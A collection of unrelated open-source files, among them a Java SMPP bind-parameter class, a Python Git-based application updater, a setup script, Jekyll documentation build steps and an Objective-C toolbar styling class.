                <script>build.xml</script>
                <target>dist</target>
                <clean-target>clean</clean-target>
                <id>dist</id>
            </reference>
            <reference>
                <foreign-project>buchladen-ejb-remote-interface</foreign-project>
                <artifact-type>jar</artifact-type>
                <script>build.xml</script>
                <target>jar</target>
                <clean-target>clean</clean-target>
                <id>jar</id>
            </reference>
        </references>
    </configuration>
</project>


text:
/*
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *    http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 */
package org.jsmpp.session;

import java.util.Objects;

import org.jsmpp.bean.BindType;
import org.jsmpp.bean.InterfaceVersion;
import org.jsmpp.bean.NumberingPlanIndicator;
import org.jsmpp.bean.TypeOfNumber;

/**
 * This class wraps all bind parameters that will be send as PDU.
 *
 * @author uudashr
 *
 */
public class BindParameter {

    private BindType bindType;
    private String systemId;
    private String password;
    private String systemType;
    private TypeOfNumber addrTon;
    private NumberingPlanIndicator addrNpi;
    private String addressRange;
    private InterfaceVersion interfaceVersion;

    /**
     * Construct with all mandatory parameters.
     *
     * @param bindType is the bind type.
     * @param systemId is the system id.
     * @param password is the password.
     * @param systemType is the system type.
     * @param addrTon is the address TON.
     * @param addrNpi is the address NPI.
     * @param addressRange is the address range.
     */
    public BindParameter(BindType bindType, String systemId, String password,
            String systemType, TypeOfNumber addrTon,
            NumberingPlanIndicator addrNpi, String addressRange) {
    	this(bindType, systemId, password, systemType, addrTon, addrNpi, addressRange, InterfaceVersion.IF_34);
    }

    public BindParameter(BindType bindType, String systemId, String password,
            String systemType, TypeOfNumber addrTon,
            NumberingPlanIndicator addrNpi, String addressRange, InterfaceVersion interfaceVersion) {
        this.bindType = bindType;
        this.systemId = systemId;
        this.password = password;
        this.systemType = systemType;
        this.addrTon = addrTon;
        this.addrNpi = addrNpi;
        this.addressRange = addressRange;
        this.interfaceVersion = interfaceVersion;
    }

    public BindType getBindType() {
        return bindType;
    }

    public String getSystemId() {
        return systemId;
    }

    public String getPassword() {
        return password;
    }

    public String getSystemType() {
        return systemType;
    }

    public TypeOfNumber getAddrTon() {
        return addrTon;
    }

    public NumberingPlanIndicator getAddrNpi() {
        return addrNpi;
    }

    public String getAddressRange() {
        return addressRange;
    }

    public InterfaceVersion getInterfaceVersion() {
		    return interfaceVersion;
	  }

    @Override
    public boolean equals(final Object o) {
        if (this == o) {
            return true;
        }
        if (o == null || getClass() != o.getClass()) {
            return false;
        }
        final BindParameter that = (BindParameter) o;
        return bindType == that.bindType &&
            Objects.equals(systemId, that.systemId) &&
            Objects.equals(password, that.password) &&
            Objects.equals(systemType, that.systemType) &&
            addrTon == that.addrTon &&
            addrNpi == that.addrNpi &&
            Objects.equals(addressRange, that.addressRange) &&
            interfaceVersion == that.interfaceVersion;
    }

    @Override
    public int hashCode() {
        return Objects.hash(bindType, systemId, password, systemType, addrTon, addrNpi, addressRange, interfaceVersion);
    }

}


text:
package com.github.tarcisioN.android.http.client;

/**
 * Exception that indicates that a HTTP POST request failed.
 *
 * @author kristof
 */
public class PostException extends HttpRequestException {

    private static final long serialVersionUID = 5504826551802767885L;

    /**
     * Creates a new instance.
     *
     * @param cause Causing exception.
     */
    public PostException(final Throwable cause) {
        super(cause);
    }

}


text:
import os
import subprocess
import sys

import requests
# ============= enthought library imports =======================
from apptools.preferences.preference_binding import bind_preference
from git import GitCommandError
from pyface.confirmation_dialog import confirm
from pyface.constant import YES
from pyface.message_dialog import information
from traits.api import Bool, Str, Directory

from pychron.core.helpers.datetime_tools import get_datetime
from pychron.git_archive.repo_manager import StashCTX
from pychron.loggable import Loggable
from pychron.paths import r_mkdir
from pychron.pychron_constants import STARTUP_MESSAGE_POSITION
from pychron.updater.commit_view import CommitView, UpdateGitHistory

def gitcommand(repo, name, tag, func):
    try:
        func()
    except GitCommandError as e:
        if e.stderr.startswith('error: Your local changes to the following files would be overwritten by '
                               'checkout'):
            if confirm(None, 'You have local changes to Pychron that would be overwritten by {} {}'
                             'Would you like continue? If Yes you will be presented with a choice to stash '
                             'or delete your changes'.format(tag, name)) == YES:
                if confirm(None, 'Would you like to maintain (i.e. stash) your changes?') == YES:
                    repo.git.stash()
                    func()
                    repo.git.stash('pop')
                    return
                elif confirm(None, 'Would you like to delete your changes?') == YES:
                    repo.git.checkout('--', '.')
                    func()
                    return

            information(None, '{} branch "{}" aborted'.format(tag.capitalize(), name))

class Updater(Loggable):
    check_on_startup = Bool
    check_on_quit = Bool
    branch = Str
    remote = Str

    use_tag = Bool
    version_tag = Str
    build_repo = Directory

    _repo = None

    @property
    def active_branch(self):
        repo = self._get_working_repo()
        return repo.active_branch.name

    def bind_preferences(self):
        for a in ('check_on_startup', 'branch', 'remote', 'use_tag', 'version_tag', 'build_repo', 'check_on_quit'):
            bind_preference(self, a, 'pychron.update.{}'.format(a))

    def test_origin(self):
        if self.remote:
            return self._validate_origin(self.remote)

    def set_revisions(self):
        self._check_for_updates()

    def check_for_updates(self, inform=False, restart=True):
        self.debug('checking for updates')
        branch = self.branch
        remote = self.remote

        if self.use_tag:
            # check for new tags
            self._fetch(prune=True)
            repo = self._repo
            if not repo:
                return

            tags = repo.tags
            ctag = tags[self.version_tag]
            tags = [t for t in tags if t.tag]
            mrtag = sorted(tags, key=lambda x: x.tag.tagged_date)[-1]
            if mrtag.tag.tagged_date > ctag.tag.tagged_date:
                if self.confirmation_dialog('New release available Current:{} New: {}\nUpdate?'.format(ctag.name,
                                                                                mrtag.name)):
                    repo.git.fetch()
                    repo.git.checkout('-b', mrtag.name, mrtag.name)
        else:
            if remote and branch:
                if self._validate_origin(remote):
                    if self._validate_branch(branch):
                        lc, rc = self._check_for_updates()
                        hexsha = self._out_of_date(lc, rc)
                        if hexsha:
                            origin = self._repo.remotes.origin
                            self.debug('pulling changes from {} to {}'.format(origin.url, branch))

                            try:
                                with StashCTX(self._repo):
                                    gitcommand(self._repo, self._repo.head.name, 'pull',
                                               lambda: self._repo.git.pull(origin, hexsha))
                            except BaseException:
                                self.debug_exception()
                                self.warning_dialog('Failed installing updates. Please contact pychron developers')
                                return

                            conda_env = os.environ.get('CONDA_ENV')
                            conda_distro = os.environ.get('CONDA_DISTRO')

                            if conda_env is not None and conda_distro is not None:
                                try:
                                    self._install_dependencies(conda_distro, conda_env)
                                except BaseException as e:
                                    self.debug('Install dependencies exception={}'.format(e))
                                    self.debug('CONDA_DISTRO={}'.format(conda_distro))
                                    self.debug('CONDA_ENV={}'.format(conda_env))
                                    self.warning_dialog('Automatic installation of dependencies failed. Manual updates '
                                                        'may be required. Set CONDA_ENV and CONDA_DISTRO environment '
                                                        'variables to resolve this issue')
                            if os.getenv('PYCHRON_UPDATE_DATABASE', False):
                                self._update_database()

                            if restart and self.confirmation_dialog('Restart?'):
                                os.execl(sys.executable, *([sys.executable] + sys.argv))
                        elif hexsha is None:
                            if inform:
                                self.information_dialog('Application is up-to-date')
                        else:
                            self.info('User chose not to update at this time')
                else:
                    self.warning_dialog('{} not a valid Github Repository. Unable to check for updates'.format(remote))

    def _update_database(self):
        url = os.getenv('PYCHRON_ALEMBIC_URL')
        if not url:
            self.warning_dialog('Please set "PYCHRON_ALEMBIC_URL" environment variable. eg. '
                                'mysql+pymysql://<user>:<pwd>@<host>/<dbname>')
            return

        p = self.build_repo
        try:
            os.chdir(p)

            with open('update_alembic.ini', 'w') as wfile:
                with open('update_alembic.template', 'r') as rfile:
                    temp = rfile.read()
                wfile.write(temp.format(url))

            out = subprocess.check_output(['alembic', '-c', 'update_alembic.ini', 'current'])
            if b'(head)' in out:
                self.info('database is up to date')
            else:
                if self.confirmation_dialog('Database is out of date. Would you like to attempt an update?'):
                    try:
                        subprocess.check_call(['alembic', '-c', 'update_alembic.ini', 'upgrade', 'head'])
                    except subprocess.CalledProcessError:
                        self.debug_exception()
                        self.warning_dialog('Automatic database updates failed. Please consult Pychron Labs')

        except subprocess.CalledProcessError as e:
            self.warning_dialog('Automatic database updates not available. Please install alembic and check '
                                'PYCHRON_ALEMBIC_URL is correct')

    def _install_dependencies(self, conda_distro, conda_env):
        # install dependencies
        root = os.path.dirname(os.path.dirname(os.path.dirname(__file__)))

        binroot = os.path.join(conda_distro, 'bin')
        conda = os.path.join(binroot, 'conda')

        cp = os.path.join(root, 'app_utils', 'requirements', 'conda_requirements.txt')

        args = [conda, 'update', '-y', '--file={}'.format(cp)]
        if conda_env:
            args.extend(('-n', conda_env))

        subprocess.call(args)
        pip = os.path.join(binroot, 'pip')
        pp = os.path.join(root, 'app_utils', 'requirements', 'pip_requirements.txt')
        subprocess.call([pip, 'install', '-r', pp])

    def _fetch(self, branch=None, prune=False):
        repo = self._get_working_repo()
        if repo is not None:
            origin = repo.remotes.origin
            try:
                if prune:
                    repo.git.fetch('--prune', origin, '+refs/tags/*:refs/tags/*')

                if branch:
                    repo.git.fetch(origin, branch)
                else:
                    repo.git.fetch(origin)
            except GitCommandError as e:
                self.warning('Failed to fetch. {}'.format(e))

    def _validate_branch(self, name):
        """
        check that the repo's branch is name

        if not ask user if its ok to checkout branch
        :param name:
        :return:
        """

        repo = self._get_working_repo()
        active_branch_name = repo.active_branch.name
        if active_branch_name != name:
            self.warning('branches do not match')
            if self.confirmation_dialog(
                    'The branch specified in Preferences does not match the branch in the build directory.\n'
                    'Preferences branch: {}\n'
                    'Build branch: {}\n'
                    'Do you want to proceed?'.format(name, active_branch_name)):
                self.info('switching from branch: {} to branch: {}'.format(active_branch_name, name))
                self._fetch(name)
                branch = self._get_branch(name)

                branch.checkout()

                return True
        else:
            self._fetch(name)
            return True

    def _validate_origin(self, name):
        cmd = 'https://github.com/{}'.format(name)
        try:
            requests.get(cmd)
            return True
        except BaseException as e:
            print('excepiton validating origin', cmd, e)
            return

    def _check_for_updates(self):
        branchname = self.branch
        self.debug('checking for updates on {}'.format(branchname))
        local_commit, remote_commit = self._get_local_remote_commits()

        self.debug('local  commit ={}'.format(local_commit))
        self.debug('remote commit ={}'.format(remote_commit))
        self.application.set_revisions(local_commit, remote_commit)
        return local_commit, remote_commit

    def _out_of_date(self, lc, rc, restart=True):
        if rc and lc != rc:
            self.info('updates are available')
            msg = 'Updates are available.'
            if restart:
                msg = '{}. Install and Restart?'.format(msg)
            else:
                msg = '{}. Install?'.format(msg)

            if not self.confirmation_dialog(msg, position=STARTUP_MESSAGE_POSITION):
                return False

            txt = self._repo.git.rev_list('--left-right', '{}...{}'.format(lc, rc))
            commits = [ci[1:] for ci in txt.split('\n')]
            return self._get_selected_hexsha(commits, lc, rc)

    def _get_branch(self, name):
        repo = self._get_working_repo()
        try:
            branch = getattr(repo.heads, name)
        except AttributeError:
            oref = repo.remotes.origin.refs[name]
            branch = repo.create_head(name, commit=oref.commit)
        return branch

    def _get_local_remote_commits(self):
        if self.use_tag:
            return self._repo.tags[self.version_tag], self._repo[self.version_tag]
            # return self.version_tag, self.version_tag
        else:
            repo = self._get_working_repo()
            repo.git.fetch()
            branchname = self.branch
            origin = repo.remotes.origin
            try:
                oref = origin.refs[branchname]
                remote_commit = oref.commit
            except IndexError:
                remote_commit = None

            branch = self._get_branch(branchname)

            local_commit = branch.commit
            return local_commit, remote_commit

    def _get_local_commit(self):
        repo = self._get_working_repo()
        branchname = self.branch
        branch = getattr(repo.heads, branchname)
        return branch.commit

    def _get_selected_hexsha(self, commits, lc, rc, view_klass=None, auto_select=True,
                             tags=None, **kw):
        if view_klass is None:
            view_klass = CommitView

        lha = lc.hexsha[:7] if lc else ''
        rha = rc.hexsha[:7] if rc else ''
        ld = get_datetime(float(lc.committed_date)).strftime('%m-%d-%Y')

        rd = get_datetime(float(rc.committed_date)).strftime('%m-%d-%Y') if rc else ''

        n = len(commits)
        h = UpdateGitHistory(n=n, branchname=self.branch,
                             local_commit='{} ({})'.format(ld, lha),
                             head_hexsha=lc.hexsha,
                             latest_remote_commit='{} ({})'.format(rd, rha),
                             **kw)

        repo = self._repo
        commits = [repo.commit(i) for i in commits]
        h.set_items(commits, auto_select=auto_select)
        if tags:
            h.set_tags(tags)

        cv = view_klass(model=h)
        info = cv.edit_traits()
        if info.result:
            if h.selected:
                return h.selected.hexsha

    def _get_working_repo(self):
        if not self._repo:
            from git import Repo

            p = self.build_repo
            if not p:
                self.information_dialog('Please set "build repo" in Updater Preferences',
                                        position=STARTUP_MESSAGE_POSITION)
                return

            if not os.path.isdir(p):
                r_mkdir(p)
                if self.remote:
                    url = 'https://github.com/{}.git'.format(self.remote)
                    repo = Repo.clone_from(url, p)
                else:
                    self.information_dialog('Please set "remote" in Updater Preferences',
                                            position=STARTUP_MESSAGE_POSITION)
                    return
            else:
                repo = Repo(p)
            self._repo = repo
        return self._repo

        # def _get_delete_enabled(self):
        #     return not (self.branch == self.edit_branch or self.edit_branch.startswith('origin'))

# ============= EOF =============================================


text:
from txsetup import setup

setup(
    name='oplog',
    description='An operations log',
    version='0.2.0',
    license='MIT License',
    url='https://github.com/shutterstock/oplog',
    author='Silas Sewell',
    author_email='silas@shutterstock.com',
)


text:
The primary SystemML documentation is written in markdown (*.md) and can be converted to HTML using
[Jekyll](http://jekyllrb.com).

Jekyll (and optionally Pygments) can be installed on the Mac OS in the following manner.

    $ brew install ruby
    $ gem install jekyll
    $ gem install jekyll-redirect-from
    $ brew install python
    $ pip install Pygments

For installation on other platforms, please consult the Jekyll documentation.

To generate SystemML documentation in HTML, navigate to the ```docs``` folder, the root directory of the
documentation. From there, you can have Jekyll convert the markdown files to HTML. If you run in server mode,
Jekyll will serve up the generated documentation by default at http://127.0.0.1:4000. Modifications
to *.md files will be converted to HTML and can be viewed in a web browser.

    $ jekyll serve -w


text:
//
//  PXUIToolbar.m
//  Pixate
//
//  Created by Paul Colton on 10/11/12.
//  Copyright (c) 2012 Pixate, Inc. All rights reserved.
//

#import "PXUIToolbar.h"

#import "UIView+PXStyling.h"
#import "UIView+PXStyling-Private.h"
#import "PXStylingMacros.h"
#import "PXVirtualStyleableControl.h"
#import "UIBarButtonItem+PXStyling.h"
#import "UIBarButtonItem+PXStyling-Private.h"
#import "PXUtils.h"

#import "PXOpacityStyler.h"
#import "PXLayoutStyler.h"
#import "PXShapeStyler.h"
#import "PXFillStyler.h"
#import "PXBorderStyler.h"
#import "PXBoxShadowStyler.h"
#import "PXBarShadowStyler.h"
#import "PXAnimationStyler.h"
#import "PXGenericStyler.h"
#import "PXImageUtils.h"
#import "PXFontStyler.h"
#import "PXPaintStyler.h"

static const char STYLE_CHILDREN;
static NSDictionary *BUTTONS_PSEUDOCLASS_MAP;

@implementation PXUIToolbar

+ (void)initialize
{
    if (self != PXUIToolbar.class)
        return;

    [UIView registerDynamicSubclass:self withElementName:@"toolbar"];

    BUTTONS_PSEUDOCLASS_MAP = @{
                                @"normal"      : @(UIControlStateNormal),
                                @"highlighted" : @(UIControlStateHighlighted),
                                @"disabled"    : @(UIControlStateDisabled)
                                };

}

- (NSArray *)pxStyleChildren
{
    // Get the children array
    NSArray *children = objc_getAssociatedObject(self, &STYLE_CHILDREN);

    if (!children)
    {
        //
        // button-appearance
        //

        PXVirtualStyleableControl *barButtons =
        [[PXVirtualStyleableControl alloc] initWithParent:self elementName:@"button-appearance"
                                    viewStyleUpdaterBlock:^(PXRuleSet *ruleSet, PXStylerContext *context)
         {
             [UIBarButtonItem UpdateStyleWithRuleSetHandler:ruleSet
                                                    context:context
                                                     target:[UIBarButtonItem appearanceWhenContainedIn:[self class], nil]];
         }];

        barButtons.supportedPseudoClasses = BUTTONS_PSEUDOCLASS_MAP.allKeys;
        barButtons.defaultPseudoClass = @"normal";

        barButtons.viewStylers = @[
                                   PXOpacityStyler.sharedInstance,
                                   PXFillStyler.sharedInstance,
                                   PXBorderStyler.sharedInstance,
                                   PXShapeStyler.sharedInstance,
                                   PXBoxShadowStyler.sharedInstance,

                                   [[PXFontStyler alloc] initWithCompletionBlock:[UIBarButtonItem FontStylerCompletionBlock:[UIBarButtonItem appearanceWhenContainedIn:[self class], nil]]],

                                   [[PXPaintStyler alloc] initWithCompletionBlock:[UIBarButtonItem PXPaintStylerCompletionBlock:[UIBarButtonItem appearanceWhenContainedIn:[self class], nil]]],

                                   [[PXGenericStyler alloc] initWithHandlers: @{
                                        @"-ios-tint-color" : [UIBarButtonItem TintColorDeclarationHandlerBlock:[UIBarButtonItem appearanceWhenContainedIn:[self class], nil]]
                                        }],
                                   ];
        children = @[ barButtons ];

        objc_setAssociatedObject(self, &STYLE_CHILDREN, children, OBJC_ASSOCIATION_COPY_NONATOMIC);
    }

    for (UIBarButtonItem *item in self.items)
    {
        item.pxStyleParent = self;
    }

    // Add toolbar items
    NSMutableArray *allChildren = [[NSMutableArray alloc] initWithArray:[children arrayByAddingObjectsFromArray:self.items]];

    // Add any other subviews
    [allChildren addObjectsFromArray:self.subviews];

    return allChildren;
}

- (NSArray *)viewStylers
{
    static __strong NSArray *stylers = nil;
	static dispatch_once_t onceToken;

    dispatch_once(&onceToken, ^{
        stylers = @[
            PXLayoutStyler.sharedInstance,

            [[PXOpacityStyler alloc] initWithCompletionBlock:^(PXUIToolbar *view, PXOpacityStyler *styler, PXStylerContext *context) {
                [view px_setTranslucent: (context.opacity < 1.0) ? YES : NO];
            }],

            PXShapeStyler.sharedInstance,
            PXFillStyler.sharedInstance,
            PXBorderStyler.sharedInstance,
            PXBoxShadowStyler.sharedInstance,

            // shadow-* image properties
            [[PXBarShadowStyler alloc] initWithCompletionBlock:^(PXUIToolbar *view, PXBarShadowStyler *styler, PXStylerContext *context) {
                // iOS 6.x property
                if ([PXUtils isIOS6OrGreater])
                {
                    if (context.shadowImage)
                    {
                        [view px_setShadowImage:context.shadowImage forToolbarPosition:UIToolbarPositionAny];
                    }
                    else
                    {
                        // 'fill' with a clear pixel
                        [view px_setShadowImage:PXImageUtils.clearPixel forToolbarPosition:UIToolbarPositionAny];
                    }
                }

            }],

            PXAnimationStyler.sharedInstance,

            [[PXGenericStyler alloc] initWithHandlers: @{
              @"-ios-tint-color" : ^(PXDeclaration *declaration, PXStylerContext *context) {
                PXUIToolbar *view = (PXUIToolbar *)context.styleable;
                UIColor *color = declaration.colorValue;
                [view px_setTintColor:color];
            },

                 @"color" : ^(PXDeclaration *declaration, PXStylerContext *context) {
                    PXUIToolbar *view = (PXUIToolbar *)context.styleable;
                    UIColor *color = declaration.colorValue;
                    [view px_setTintColor:color];
                },
        }],

        ];
    });

	return stylers;
}

- (NSDictionary *)viewStylersByProperty
{
    static NSDictionary *map = nil;
    static dispatch_once_t onceToken;

    dispatch_once(&onceToken, ^{
        map = [PXStyleUtils viewStylerPropertyMapForStyleable:self];
    });

    return map;
}

- (void)updateStyleWithRuleSet:(PXRuleSet *)ruleSet context:(PXStylerContext *)context
{
    if (context.color)
    {
        if([PXUtils isIOS7OrGreater])
        {
            [self px_setBarTintColor: context.color];
        }
        else
        {
            [self px_setTintColor: context.color];
        }

        [self px_setBackgroundImage:nil
                 forToolbarPosition:UIToolbarPositionAny
                         barMetrics:UIBarMetricsDefault];
    }

    if (context.usesImage)
    {
        [self px_setBackgroundColor: [UIColor clearColor]];
        [self px_setBackgroundImage:context.backgroundImage
                 forToolbarPosition:UIToolbarPositionAny
                         barMetrics:UIBarMetricsDefault];
    }

}

PX_LAYOUT_SUBVIEWS_OVERRIDE

PX_WRAP_1(setTintColor, color);
PX_WRAP_1(setBarTintColor, color);
PX_WRAP_1(setBackgroundColor, color);
PX_WRAP_1b(setTranslucent, flag);
PX_WRAP_2v(setShadowImage, image, forToolbarPosition, UIToolbarPosition, position);
PX_WRAP_3v(setBackgroundImage, image, forToolbarPosition, UIToolbarPosition, position, barMetrics, UIBarMetrics, metrics);

@end